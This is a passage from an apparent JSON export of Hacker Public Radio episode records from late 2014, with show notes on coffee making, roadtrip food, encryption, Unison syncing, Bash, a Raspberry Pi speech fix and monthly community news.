        1. mysterio2 on 2014-10-21:\"Excellent interview.\"
        2. \n
        3. Kevin O'Brien on 2014-10-21:\"Great interview!\"
        4. \n
        5. semioticrobotic on 2014-10-22:\"Thank you!\"
        6. \n
        7. pokey on 2014-10-23:\"Awesome!\"
        8. \n

      • \n
      • hpr1620\n(2014-10-17) \"Passwords, Entropy, and Good Password Practices\"\nby Ahuka.\n
          \n
        1. cybergrue on 2014-10-17:\"Dangerous advice\"
        2. \n
        3. John on 2014-10-17:\"[no title]\"
        4. \n
        5. Kevin O'Brien on 2014-10-21:\"Please do a show\"
        6. \n
        7. Ken Fallon on 2014-10-21:\"Very good show but 2 comments\"
        8. \n
        9. Kevin O'Brien on 2014-10-22:\"Yes and ...\"
        10. \n
        11. pokey on 2014-10-23:\"Another Excellent episode\"
        12. \n
        13. Ken Fallon on 2014-10-24:\"NO!!!\"
        14. \n
        15. Mike Ray on 2014-10-30:\"Pasting passwords?\"
        16. \n

      • \n
      • hpr1619\n(2014-10-16) \"Bare Metal Programming on the Raspberry Pi (Part 1)\"\nby Gabriel Evenfire.\n
          \n
        1. Mike Ray on 2014-10-17:\"Excellent show\"
        2. \n

      • \n
      • hpr1617\n(2014-10-14) \"Spaceteam\"\nby beni.\n
          \n
        1. pokey on 2014-10-21:\"Fun game\"
        2. \n

      • \n
      • hpr1616\n(2014-10-13) \"Howto Use Webfonts\"\nby klaatu.\n
          \n
        1. johanv on 2014-10-14:\"Do you have a blog post about this?\"
        2. \n

      • \n
      • hpr1612\n(2014-10-07) \"Don't Forget the Referbs\"\nby NYbill.\n
          \n
        1. corenominal on 2014-10-07:\"From another X61 user\"
        2. \n
        3. NYbill on 2014-10-08:\"[no title]\"
        4. \n
        5. pokey on 2014-10-22:\"Great episode\"
        6. \n

      • \n
      • hpr1606\n(2014-09-29) \"Howto VNC\"\nby klaatu.\n
          \n
        1. Ken Fallon on 2014-10-05:\"VNC is not secure\"
        2. \n

      • \n
      • hpr1597\n(2014-09-16) \"Extravehicular Activity\"\nby Steve Smethurst.\n
          \n
        1. noName on 2014-10-11:\"[no title]\"
        2. \n

      • \n
      • hpr1596\n(2014-09-15) \"About the Word \"Hack\"\"\nby klaatu.\n
          \n
        1. Gabriel Evenfire on 2014-10-17:\"[no title]\"
        2. \n

      • \n
      • hpr1569\n(2014-08-07) \"Many-to-many data relationship howto\"\nby Mike Ray.\n
          \n
        1. Mike Ray on 2014-10-07:\"@Borgu\"
        2. \n
        3. Ken Fallon on 2014-10-08:\"Noooooo\"
        4. \n

      • \n
      • hpr1536\n(2014-06-23) \"The 150-in-1 Electronic Project Kit\"\nby Curtis Adkins (CPrompt^).\n
          \n
        1. plan9fan on 2014-10-20:\"[no title]\"
        2. \n

      • \n
      • hpr1434\n(2014-01-30) \"Why I made an account free android \"\nby ToeJet.\n
          \n
        1. ToeJet on 2014-10-17:\"Couldn't root.\"
        \n
      • \n
      \n\n","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1632,"date":"2014-11-04","title":"5150 Shades of Beer: 0002 Wichita Brewing Company","duration":3084,"summary":"Beer, drinking same part 2","notes":"\n

      \"beer\"

      \n","hostid":131,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"5150 Shades of Beer, beer, Wichita, fire","version":0,"downloads":0,"valid":1}, {"id":1633,"date":"2014-11-05","title":"The OggCamp organizers","duration":1712,"summary":"I talk to Dan Lynch and Fabian Scherschel and Mark Johnson","notes":"

      In this set of OggCamp interviews I talk to Dan Lynch and Fabian Scherschel from Linux Outlaws and Mark Johnson, who was the man on the ground this year, organizing OggCamp in Oxford Hotel this year. We talk about organizing OggCamp and podcasting and small, unknown Universities in little Towns like Oxford. ;)

      \n

      Links

      \n ","hostid":288,"series":78,"explicit":0,"license":"CC-BY-SA","tags":"oggcamp, Linux Outlaws, Ubuntu UK, Fab, Dan, Mark","version":0,"downloads":0,"valid":1}, {"id":1634,"date":"2014-11-06","title":"How I got into Linux","duration":1053,"summary":"How I discovered Linux ","notes":"

      I have been an HPR listener for many years, and I really like the episodes on how people discovered and learn to use Linux. So this is my first HPR contribution. I recorded this on a Sansa Clip on a saturday afternoon. It's not heavily edited, but i did use audacity to remove a few errors I had made. Please excuse the uhhs and umms.

      \n","hostid":289,"series":29,"explicit":1,"license":"CC-BY-SA","tags":"Sansa Clip,Audacity","version":0,"downloads":0,"valid":1}, {"id":1635,"date":"2014-11-07","title":"41 - LibreOffice Calc - Data Manipulation 1: Sorting and AutoFilter","duration":762,"summary":"A look at the most simple ways of manipulating data in Calc.","notes":"

      The next major area of investigation for this series is how we can do data manipulation in Calc. Although Calc is not a database, it can be used for some data analysis and manipulation. When I worked for the finance department of a hospital, it was very common for the financial analysts to get a data dump from a centralized system as a CSV file, load it up in a spreadsheet, and then slice-and-dice the data to get the answers they wanted. It is not anywhere near what you can do with a good relational database and a structured query, but you can do some quick-and-dirty analysis here. - For more go to https://www.ahuka.com/?page_id=879

      \n ","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, sorting, autofilter","version":0,"downloads":0,"valid":1}, {"id":1636,"date":"2014-11-10","title":"How I make coffee","duration":957,"summary":"I'm a great lover of coffee. This is how I make mine","notes":"

      My Coffee History

      \n

      I'm a coffee lover. I have tried many ways of making coffee.

      \n

      When I was a child my parents made their coffee in a percolator on the stove top. I remember how great it smelled though it tasted awful to me at that age.

      \n

      I have owned a variety of filter machines over the years, and these have also been available at the places I have worked. They seemed to do a reasonable job, but nothing special.

      \n

      One time I owned an all-glass Cona coffee maker, which was very fancy and expensive. It was too fragile for me and eventually met its end while being washed. I don't recall it making particularly wonderful coffee, but it would also make tea, which was a novelty.

      \n

      I made a number of visits to Indonesia several years ago. There are a lot of pretty good coffee beans available there but the way of making a cup of coffee is not really to my taste. A good dollop of ground coffee in a large cup with boiling water added and large quantities of sugar. Straining those coffee grounds out through your teeth is not a pleasant experience.

      \n

      As the fashion for the Cafetiere or French Press developed I acquired a number of these. Until recently these were all glass. I found I invariably broke them either by being over zealous when pressing down the plunger or being clumsy when washing them up. It's not a bad way of making coffee, but I have an alternative that I much prefer - the Moka Pot.

      \n

      Moka Pot

      \n

      A few years ago I bought a Bialetti Moka Pot. I had never heard of these before, but my son, another avid coffee drinker, pointed me to them. I bought a three-cup pot to start with. This is a small pot; the three refers to three 50ml espresso cups. I also bought a 9-cup pot which is much bigger.

      \n

      \"My
      Picture: My Bialetti 3-cup and 9-cup pots

      \n

      The pot consists of three main elements: a base which holds the water, a funnel which holds the ground coffee and the top which holds the coffee once made. There is a gasket and a metal filter on the underside of the top part to prevent coffee grounds entering.

      \n

      \"A
      Picture: A disassembled Bialetti

      \n

      The Bialetti is heated on a gas or electric stove and forces boiling water through ground coffee under steam pressure. It makes coffee similar to but not the same as espresso coffee.

      \n

      The base is filled with water just under the level of the pressure release valve.

      \n

      \"Bialetti
      Picture: Bialetti filled with water

      \n

      I use Italian coffee for the Bialetti since it seems to taste better than any others I have tried.

      \n

      \"My
      Picture: My current favourite coffee

      \n

      Once opened I keep my coffee in a vacuum container.

      \n

      \"Coffee
      Picture: Coffee in a vacuum container

      \n

      The funnel is placed into the water-filled base.

      \n

      \"Bialetti
      Picture: Bialetti ready for coffee

      \n

      The funnel takes about two scoops of coffee

      \n

      \"Bialetti
      Picture: Bialetti being filled with coffee

      \n

      The pot is placed on the stove. I have a gas stove and so I use a trivet for stability. I have to take care that the gas flame is not too high or the handle will melt, as has happened in the past!

      \n

      \"Bialetti
      Picture: Bialetti in action

      \n

      You need to listen out for the bubbling sound the pot makes when the water has passed through the coffee into the top compartment. Letting the remaining steam pass through will over-heat the coffee which you do not want to happen.

      \n

      \"Coffee
      Picture: Coffee is brewed

      \n

      I make a cup of coffee consisting of one part coffee, one part cold milk and one part boiling water. This makes a large cup of pretty strong yet very smooth coffee which helps to wake me up each morning.

      \n

      \"A
      Picture: A comforting brew - in the wrong cup!

      \n

      The Bialetti usually gets one use per day, after which it is washed up. Some purists say that it should only be rinsed out so that the coffee residues on the inside are not removed. I have not noticed any difference personally.

      \n

      Links

      \n \n","hostid":225,"series":88,"explicit":1,"license":"CC-BY-SA","tags":"coffee,moka pot,espresso,cafetiere","version":0,"downloads":0,"valid":1}, {"id":1637,"date":"2014-11-11","title":"Communities Are Made of People","duration":2804,"summary":"Zuckerberg, Facebook, friends having you back","notes":"

      https://facebook.com

      ","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Zuckerberg, Facebook, friends having you back","version":0,"downloads":0,"valid":1}, {"id":1638,"date":"2014-11-12","title":"Surviving A Roadtrip: Food","duration":874,"summary":"A few tricks about food and eating that can help you survive a roadtrip.","notes":"

      As we are all human to some degree, we require sustenance. When on a roadtrip, this can prove to be challenging - but it is also an opportunity to save money and enjoy yourself!

      \nBringing Food\n---\n\n- Buying all your food on the road is a good way to empty your pockets\n- Convenience stores do not have your health in mind; their food is generally\n  over-salty or over-sugary\n- Stopping for snacks can add lots of extra time to a trip\n- A quick stop at the grocery store before your trip is not a bad idea\n        - Stock up on non-perishable snacks\n        - Nuts and trail mix are a classic for a reason. They're full of protein and\n          fiber, and easy to munch on in a vehicle\n        - Fruit are sweet, healthy, and also usually easy to eat in a vehicle.\n          Apples and grapes are super easy, bananas less so, and oranges are tricky.\n          You can pre-peel fruit to make it more accessible, but it won't last as long.\n- Water is important. Make sure to have a gallon jug with you, and refill as\n  necessary. I don't mind tap water, but if you're picky, there are water\n  filters designed for camping that are compact and quick. Keep yourself\n  hydrated!\n- Your options for variety of food increase a lot with a cooler\n        - Things like cheese and sandwich meats should do fine\n        - Make sure to fill it with ice or freezer packs when you set out in the\n          morning, and maybe during the afternoon depending on weather\n        - Check to see if your lodgings have refrigeration; your cooler will be\n          useless if you don't have something more substantial to use in-between\n          legs of your journey.\n  \n\nStopping To Eat\n---\n\n- Saving money and being efficient is all well and good, but roadtrips are not\n  all about getting from point A to point B.\n- A great way to experience an area is by ingesting a small part of it\n- Add an hour or two to your travel time for a meal stop\n- Pick lunch or dinner\n        - Lunch may suit your timetable better if you are an early riser\n        - Lunch menus often offer slightly less food for a reduced price\n        - Restaurants may be less crowded for lunches\n        - Dinner might be a better choice if you like waking and driving late\n        - Dinner menus are more comprehensive, but often more on the expensive side\n- Avoid chain restaurants all the time, but especially on a roadtrip\n- Local restaurants and eateries are usually found in downtown areas, away from\n  highways. They are well worth the diversion.\n- Different areas have vastly different cuisines, and trying new things can be\n  very rewarding. Crawfish: who knew?\n- Find something on the menu that you don't recognize, and eat it.\n- If you are a picky eater, try not to let your preconceptions stop you from\n  trying something. For instance, coconut soup is surprisingly unlike any other\n  coconut dishes that I've had.\n- Be polite, be patient. Many tourists are rude, and there is a chance that\n  the person helping you gets to deal with those tourists frequently.\n- Do not be afraid to ask questions. Figure out what you can, but ask for\n  clarification if something on the menu is unusual.\n- If you have food-based allergies or special dietary requirements, these might\n  not be accommodated in all areas. If you are a vegetarian or vegan, or are \n  allergic to gluten, peanuts, or dairy, your options may change drastically\n  depending on the region you are in.\n  - A little research into local restaurants  could help you determine which\n        places you can eat without stopping at each restaurant in town.\n- Overall, try to enjoy yourself. Roadtrips can be high-stress affairs, and a\n  meal break can do wonders to relieve some of the stress that's built up over\n  the day. Relax, and give yourself plenty of time to eat\n
      ","hostid":196,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"food,roadtrip,travel,health,restaurant,cuisine","version":0,"downloads":0,"valid":1}, {"id":1639,"date":"2014-11-13","title":"Ken Starks at Ohio Linux Fest 2014","duration":2428,"summary":"Ken Starks builds computers for kids who need a hand.","notes":"

      Ken Starks gave the closing keynote at Ohio LinuxFest 2014 on 10/25/14. In this talk he discusses his work with the REGLUE project (formerly the Helios Project) which bulds computers to give to disadvantaged kids in Texas. And if you look there may be something like this in your town that you can help with. And if not, why not start one? This talk was recorded by Randy Noseworthy, and he asked me to post it to HPR.

      ","hostid":198,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Reglue, Helios, kids","version":0,"downloads":0,"valid":1}, {"id":1640,"date":"2014-11-14","title":"Symmetric vs. Asymmetric Encryption","duration":1231,"summary":"This episode looks the two kinds of encryption keys, and why to use each one.","notes":"

      \nPreviously we looked at Public Key encryption, which is also called Asymmetric Encryption because it uses two different keys for the encryption and decryption. This allows us to solve one of the biggest problems in secure encrypted communication, which is key distribution. Because the public key can be freely distributed, you dont need to maintain security around the process of distributing keys. Symmetric encryption, on the other hand, relies on a shared key that is used for both encryption and decryption. An example of this is the one-time pad, where you printed up a pad of paper that contained various keys, and each one was used only once. As long as no one can get the key, it is unbreakable, but the big weakness was key distribution. How do you get the one-time pad into the hands of your correspondent? And you would need to do this with separate one-time pads for each person you needed to communicate with. These are the kinds of problems that made asymmetric encryption so popular. Finally, symmetric key crypto cannot be used to reliably create a digital signature. The reason should be clear. If I have the same secret key you used to sign a message, I can alter the message, use the shared secret key myself, and claim you sent it. - For more go to https://www.zwilnik.com/?page_id=650\n

      \n

      \nLinks:\n

      \n\n ","hostid":198,"series":74,"explicit":0,"license":"CC-BY-SA","tags":"symmetric, asymmetric, encryption","version":0,"downloads":0,"valid":1}, {"id":1641,"date":"2014-11-17","title":"The real reasons for using Linux","duration":1068,"summary":"The real reasons for using Linux","notes":"

      \nI am a Linux user since the end of 1999. Which is 15 years already. I've\nalso been trying for almost 15 years to convince other people to try Linux.\nAnd I must confess that I very often used wrong arguments doing this.\nAfter 15 years it is time to ditch some fake arguments,\nand to tell you the real reasons why you should switch to Linux. :-)\n

      \n

      \nI apology for the bad audio quality. A full transcript of this episode\ncan be found on my blog.
      \nhttps://blog.johanv.org/posts/why-linux.html\n

      ","hostid":233,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"linux, open source","version":0,"downloads":0,"valid":1}, {"id":1642,"date":"2014-11-18","title":"Frist Time at Oggcamp","duration":842,"summary":"Join Al and Jerry where we discuss are first visit to oggcamp","notes":"

      \nThis episode is about how Al and Jerry Meet at Oggcamp. What we enjoy about the event,what to expect and encourage people to attend next year.\n

      \n

      \nThis is my second HPR episode after beni recorded a interview with me at oggcamp and said I should submit my own episode\n

      \n

      Links

      \nhttps://adminadminpodcast.co.uk\n","hostid":290,"series":62,"explicit":0,"license":"CC-BY-SA","tags":"oggcamp,oggcamp14","version":0,"downloads":0,"valid":1}, {"id":1643,"date":"2014-11-19","title":"Unison Syncing Utility","duration":2084,"summary":"Review of the Unison graphical Syncing Utility","notes":"

      Unison is a file syncing/backup utility, similar to SyncBack on Windows, available in most repros.

      \n
        \n
      1. The graphical interface requires the installation of unison, and unison-gtk.. Unison may be installed w/o the graphical component, but all operations must be initiated from a system running the GUI.
          \n
        • Network backups require RSH or SSH to be installed on both machines
        • \n
        \n
      2. \n
      3. The standard wisdom seems to be the rsync does not do a true 2 way sync, i.e., to sync to the newest file version going both ways you would have to do rsync ~/LocalFolder you@server:/home/you/RemoteFolder then turn around and do rsync you@server:/home/you/RemoteFolder ~/LocalFolder. Add that to the fact that like cp, or scp, rsync requires separate commands for files with extensions, files without, and hidden files, creating a bash script for syncing files is more complex than creating a Unison profile.
      4. \n
      5. Step One: If, like me you are syncing only Documents, make your subfolder structure the same on both machines, ergo, if one PC has /home/you/Documents/recipe and second PC has /home/you/Documents/Recipes, edit your folder structure to be the same on both PCs to avoid duplicate files and folders
      6. \n
      7. Launch Unison and create a backup profile First use, create a profile
        \n
          \n
        • Name of profile
          \n
        • \n
        • Synchronization kind (Local, SSH, RSH, TCP)
          \n
        • \n
        • \"First\" Directory (you can browse your mounted volumes)
          \n
        • \n
        • \"Second\" Directory, if you chose Local
          \n
        • \n
        • Host Machine Name (or IP Address)
          \n
        • \n
        • User Name (If you haven't registered SSH keys, you will be prompted for a password on every synchronization.
          \n
        • \n
        • Check whether you want to use compression, (on fast networks or slow processors, compression may create more overhead than it's worth).
          \n
        • \n
        • Target directory (If it's on a remote server, you will need to type the full path, there is no browsing to the folder.)
          \n
        • \n
        • Tell Unison if either folder uses FAT (say an un-reformatted USB stick)
        • \n
        \n
          \n
        • If you are backing up to another system, Unison needs to be installed on both. If you are backing up to a server with no GUI desktop manager, you can install just the unison package without unison-gtk, but all the syncs will have to be initiated from the machine with a GUI. (Of course, if you back up to a remote volume that is mounted locally, it should be completely transparent to Unison). If you choose to sync via ssh (recommended), you will need ssh and ssh-server installed appropriately on each machine.
        • \n
        \n
      8. \n
      9. Select and run your profile.
          \n
        • The first time, expect to get a warning that no archive files (index files that speed up the synchronization scan) were found. They will be created on the first sync.
        • \n
        • Unison will look for differences between the files in the two selected directories. The differences will be displayed graphically, with arrows pointing left or right, indicating which directory contains the most current version of the file (by modification date). You can choose to merge files either left or right (a conventional backup), do a merge (i.e., Unison itself decides how to combine data from files with the same name (obviously, that could be messy), or to do a sync (ergo, the most current version of a file overwrites older version, regardless of location). Click \"Go\" to do a true sync.
        • \n
        \n
      10. \n
      ","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"Unison,file synchronisation,rsync","version":0,"downloads":0,"valid":1}, {"id":1644,"date":"2014-11-20","title":"Opensource.com: Benetech, OpenStack and Kumusha","duration":954,"summary":"Benetech CEO opens up, the challenge of OpenStack product management, and Kumusha Takes Wiki.","notes":"

      In this episode

      \n\n

      Open source product development most effective when social

      \n

      Benetech started out in the 90s without even understanding the meaning of the term open source. They just \"needed an easy way to interface with different voice synthesizers\" to develop readers for people who are blind and \"shared the code to be helpful.\"

      \n

      \n

      Sound familiar? Opensource.com started covering stories like in 2010 and they recur more often than you might think. Stories of people sharing the code to help others—but sharing code to get help developing better code. When code is open, a community has the opportunity to form around it.

      \n

      Read this interview about what Benetech CEO Jim Fruchterman learned by adopting open source philosophy and furthering technology-for-good.
      \nRead more: \nhttps://opensource.com/business/14/7/interview-jim-fruchterman-benetech

      \n\n

      OpenStack product management: wisdom or folly?

      \n

      Two recent, excellent, blog posts have touched on a topic I've been wrestling with since May's OpenStack Summit: What is the role of the Product Management function, if any, in the OpenStack development process?

      \n

      The first article, \"Calling all 'User Landians' to lead OpenStack above the cloud,\" by Evan Scheessele, talks about the \"real user\" of OpenStack—those people that need to deliver a solution that brings some sort of value to their organization. The other article, \"Who's In Charge Here Anyway?…,\" by Rob Hirschfeld, speaks to the dynamics of how decisions—which OpenStack features are in in or out—get made in the OpenStack ecosystem.
      \nRead more: https://opensource.com/business/14/7/openstack-product-management-wisdom-or-folly

      \n\n

      Giving Sub-Saharan African communities an online presence

      \n

      People in Sub-Saharan Africa face hurdles to get online. Despite some progress, the region lags behind in Internet connectivity due to the high costs of service and poor infrastructure, according to a recent World Economic Forum report.

      \n

      \n

      This digital divide means some African communities are underrepresented on the web. Without a well-developed online presence, misinformation about them can spread relatively unchallenged.
      \nRead more: https://opensource.com/life/14/7/giving-sub-saharan-african-communities-online-presence\n

      ","hostid":280,"series":28,"explicit":0,"license":"CC-BY-SA","tags":"Benetech,OpenStack","version":0,"downloads":0,"valid":1}, {"id":1645,"date":"2014-11-21","title":"42 - LibreOffice Calc - Data Manipulation 2: Standard and Advanced Filters","duration":989,"summary":"A look at the more advanced filtering options for manipulating data in Calc.","notes":"

      \nYou can set a Standard Filter from within the AutoFilter drop-down, or you can go there through the Data menu by selecting Data>Filter>Standard Filter. Now lets look at the question we ended the last tutorial with: How many females over the age 40 had a case in 1978. We saw we could get this by manually putting checkmarks in every age that was greater than 40 using AutoFilter, but how do we do this using Standard Filter? - For more go to https://www.ahuka.com/?page_id=897\n

      \n\n","hostid":198,"series":70,"explicit":0,"license":"CC-BY-SA","tags":"LibreOffice, Calc, Spreadsheet, filters","version":0,"downloads":0,"valid":1}, {"id":1646,"date":"2014-11-24","title":"5150 Shades of Beer 0003 River City Brewing Company and Wichita Brewing Company","duration":2174,"summary":"FiftyOneFifty explores Wichita Brew Pubs, v2","notes":"\"Image\n\n

      Links

      \n\n\n","hostid":131,"series":14,"explicit":0,"license":"CC-BY-SA","tags":"5150 Shades of Beer, Wichita Brewing Company, River City Brewing Company","version":0,"downloads":0,"valid":1}, {"id":1647,"date":"2014-11-25","title":"Oggcast Planet Live 2014: The Cooking Show","duration":1285,"summary":"OggCast 2014. we cook dinner, I drink beer, a time is had by all.","notes":"

      \nOggCast 2014. we cook dinner, I drink beer, a time is had by all. I'd like to amp this, but Audacity won't let me, so listen carefully.\n

      \n

      \nBroam, Briptastic, and FiftyOneFifty talk about the meal they are making for Saturday Night at Oggcast Planet Live 2014 from when they thought about it until dinner was served, as well as that day's fun at Knoebels theme park at Elysburg PA and the plans to visit the ghost town of Centralia the following day.\n

      \n

      \"\"

      \n

      \"\"

      \n

      \"\"

      \n

      \"\"

      \n

      \"\"

      \n","hostid":131,"series":93,"explicit":1,"license":"CC-BY-SA","tags":"Elysburg, oggcastplanet, Centralia, cooking, Knoebels, OggCastPlanet Live, OCP Live, 2014","version":0,"downloads":0,"valid":1}, {"id":1648,"date":"2014-11-26","title":"Bash parameter manipulation","duration":2433,"summary":"A summary and aide memoire of Bash parameter expansion methods","notes":"

      Bash parameter manipulation

      \n

      I'm a great fan of using the Linux command line and enjoy writing shell scripts using the Bash shell.

      \n
        \n
      • BASH (or more usually Bash or bash) is the name of a Unix shell. The name stands for Bourne Again SHell, which is a play on words. Bash is an extension of the shell originally written by Stephen Bourne in 1978, usually known as SH.

      • \n
      • Bash was written as part of the GNU Project which forms part of the Linux Operating System.

      • \n
      • A shell is the part of the operating system that interprets commands, more commonly known as the command line.

      • \n
      • A knowledge of Bash is very helpful if you would like to be able to use the power of the command line. It is also the way to learn how to build Bash scripts for automating the tasks you need to perform.

      • \n
      \n

      In this episode we look at what parameters are in Bash, and how they can be created and manipulated. There are many features in Bash that you can use to do this, but they are not easy to find.

      \n

      As I was learning my way around Bash it took me a while to find these. Once I had found them I wanted to make a "cheat sheet" I could stick on the wall to remind me how to do things. I am sharing the result of this process with you.

      \n

      The version of Bash which I used for this episode is 4.3.30(1)-release

      \n

      The full notes for this episode are to be found here: hpr1648_full_shownotes.html

      \n

      Links

      \n\n","hostid":225,"series":42,"explicit":1,"license":"CC-BY-SA","tags":"Bash,script,parameter,variable","version":0,"downloads":0,"valid":1}, {"id":1649,"date":"2014-11-27","title":"Raspberry Pi Accessibility Breakthrough","duration":1036,"summary":"How I fixed the stuttering text-to-speech on a Raspberry Pi","notes":"

      \nSince April last year the text-to-speech using eSpeak in the Raspberry Pi\nconsole has stuttered very badly and regularly crashes the kernel.\n

      \n

      \nHere's how I fixed it.\n

      \n

      \nCloning my github repo:\n

      \n
      \ngit clone https://github.com/cromarty/ttsprojects.git\n
      \n

      \nInstallation:\n

      \n
      \ncd ttsprojects/raspberry-pi/libilctts/build\nsudo ./build.sh\ncd ../../piespeakup\nsudo ./build.sh\n
      \n

      \nBingo! Speech should work.\n

      \n

      \nThis has only just been released and there is still work to do on the\ndocumentation.\n

      \n

      \nNote: I am not connected to the Raspberry Pi Foundation in any way\nand anything I say or do is not endorsed by them.\n

      \n

      \nMy email address is connected with a Freelists email list I set up and\nan accompanying web site:\n

      \n

      \nhttps://www.raspberryvi.org/\n

      \n

      \nThe 'VI' is for 'Visually Impaired' and I DID check with the\nFoundation about the similarity of the web address before I created it.\n

      \n

      \nTo join our email list send an email to:\n

      \n

      \nraspberry-vi-request@freelists.org\n

      \n

      \nWith 'subscribe' in the subject.\n

      \n

      \nMike\n

      ","hostid":282,"series":0,"explicit":1,"license":"CC-BY-SA","tags":"Raspberry Pi, Accessibility, console, speakup, kernel oops, fixed","version":0,"downloads":0,"valid":1}, {"id":1650,"date":"2014-11-28","title":"OCPLive2014 Night Life In Elysburg PA","duration":10935,"summary":"The real Elysburg experience","notes":"

      A running commentary by FiftyOneFifty and Tankenator on the nightlife in Elysburg PA

      \n","hostid":131,"series":0,"explicit":0,"license":"CC-BY-SA","tags":"OCP Live, oggcastplanet, 2014, nightlife","version":0,"downloads":0,"valid":1}, {"id":1651,"date":"2014-12-01","title":"HPR Community News for November 2014","duration":3800,"summary":"HPR Community News for November 2014","notes":"

      New hosts

      \n

      Welcome to our new hosts:
      pyrrhic, Al.

      \n

      Last Month's Shows

      \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n
      IdDateTitleHost
      16312014-11-03HPR Community News for October 2014HPR Volunteers
      16322014-11-045150 Shades of Beer: 0002 Wichita Brewing CompanyFiftyOneFifty
      16332014-11-05The OggCamp organizersbeni
      16342014-11-06How I got into Linuxpyrrhic
      16352014-11-0741 - LibreOffice Calc - Data Manipulation 1: Sorting and AutoFilterAhuka
      16362014-11-10How I make coffeeDave Morriss
      16372014-11-11Communities Are Made of PeopleFiftyOneFifty
      16382014-11-12Surviving A Roadtrip: FoodWindigo
      16392014-11-13Ken Starks at Ohio Linux Fest 2014Ahuka
      16402014-11-14Symmetric vs. Asymmetric EncryptionAhuka
      16412014-11-17The real reasons for using Linuxjohanv
      16422014-11-18Frist Time at OggcampAl
      16432014-11-19Unison Syncing UtilityFiftyOneFifty
      16442014-11-20Opensource.com: Benetech, OpenStack and Kumushasemioticrobotic
      16452014-11-2142 - LibreOffice Calc - Data Manipulation 2: Standard and Advanced FiltersAhuka
      16462014-11-245150 Shades of Beer 0003 River City Brewing Company and Wichita Brewing CompanyFiftyOneFifty
      16472014-11-25Oggcast Planet Live 2014: The Cooking ShowFiftyOneFifty
      16482014-11-26Bash parameter manipulationDave Morriss
      16492014-11-27Raspberry Pi Accessibility BreakthroughMike Ray
      16502014-11-28OCPLive2014 Night Life In Elysburg PAFiftyOneFifty
      \n

      Comments this month

      \n

      There are 25 comments:

      \n
        \n
      • hpr1649 (2014-11-27) \"Raspberry Pi Accessibility Breakthrough\" by Mike Ray.
          \n
        1. Steve Bickle on 2014-11-27:\"Great Episode\"
        2. \n
        3. Mike Ray on 2014-11-27:\"Pi Accessibility\"
        4. \n
        5. Tony Wood on 2014-11-28:\"[no title]\"
        6. \n
        7. Mike Ray on 2014-11-29:\"Over to you Tony\"
        8. \n
        \n
        \n
      • \n
      • hpr1648 (2014-11-26) \"Bash parameter manipulation\" by Dave Morriss.
          \n
        1. Tom Rodman on 2014-11-27:\"Thx for covering bash substring expansion\"
        2. \n
        3. Mike Ray on 2014-11-29:\"Great stuff\"
        4. \n
        \n
        \n
      • \n
      • hpr1643 (2014-11-19) \"Unison Syncing Utility\" by FiftyOneFifty.
          \n
        1. 0xf10e on 2014-11-20:\"[no title]\"
        2. \n
        3. Frank on 2014-11-21:\"Two supplements on Unison\"
        4. \n
        \n
        \n
      • \n
      • hpr1642 (2014-11-18) \"Frist Time at Oggcamp\" by Al.
          \n
        1. Mike Ray on 2014-11-18:\"MaryTTS, clipping\"
        2. \n
        \n
        \n
      • \n
      • hpr1641 (2014-11-17) \"The real reasons for using Linux\" by johanv.
          \n
        1. Mikael on 2014-11-18:\"[no title]\"
        2. \n
        \n
        \n
      • \n
      • hpr1640 (2014-11-14) \"Symmetric vs. Asymmetric Encryption\" by Ahuka.
          \n
        1. johanv on 2014-11-18:\"Thank you for explaining this\"
        2. \n
        3. Kevin O'Brien on 2014-11-18:\"You're welcome\"
        4. \n
        \n
        \n
      • \n
      • hpr1637 (2014-11-11) \"Communities Are Made of People\" by FiftyOneFifty.
          \n
        1. Mikael on 2014-11-14:\"re Facebook\"
        2. \n
        \n
        \n
      • \n
      • hpr1636 (2014-11-10) \"How I make coffee\" by Dave Morriss.
          \n
        1. victor on 2014-11-09:\"Great episode! \"
        2. \n
        3. expatpaul on 2014-11-12:\"Bialetti\"
        4. \n
        5. Dave Morriss on 2014-11-12:\"Thanks for the feedback\"
        6. \n
        \n
        \n
      • \n
      • hpr1630 (2014-10-31) \"Bare Metal Programming on the Raspberry Pi (Part 2)\" by Gabriel Evenfire.
          \n
        1. Mike Ray on 2014-11-01:\"Another excellent episode\"
        2. \n
        3. Gabriel Evenfire on 2014-11-01:\"Password protected PDF...\"
        4. \n
        \n
        \n
      • \n
      • hpr1619 (2014-10-16) \"Bare Metal Programming on the Raspberry Pi (Part 1)\" by Gabriel Evenfire.
          \n
        1. Alison Chaiken on 2014-11-09:\"Very valuable content\"
        2. \n
        \n
        \n
      • \n
      • hpr1612 (2014-10-07) \"Don't Forget the Referbs\" by NYbill.
          \n
        1. Charles in NJ on 2014-11-03:\"Returns are fun\"
        2. \n
        \n
        \n
      • \n
      • hpr1599 (2014-09-18) \"Interview with Ingmar Steiner from the MaryTTS project\" by Ken Fallon.
          \n
        1. Steve Bickle on 2014-11-09:\"How to for Debian\"
        2. \n
        3. Mike Ray on 2014-11-13:\"MaryTTS howto etc\"
        4. \n
        5. Steve Bickle on 2014-11-26:\"Horses for courses\"
        6. \n
        7. Steve Bickle on 2014-11-26:\"Maryspeak project now on github\"
        8. \n
        9. Mike Ray on 2014-11-28:\"maryspeak, great stuff\"
        10. \n
        \n
      • \n
      ","hostid":159,"series":47,"explicit":1,"license":"CC-BY-SA","tags":"Community News","version":0,"downloads":0,"valid":1}, {"id":1652,"date":"2014-12-02","title":"GeekSpeak 2013-06-01","duration":3843,"summary":"Showcasing the Central Coast Public Broadcasting radio show slash podcast, Geek Speak","notes":"

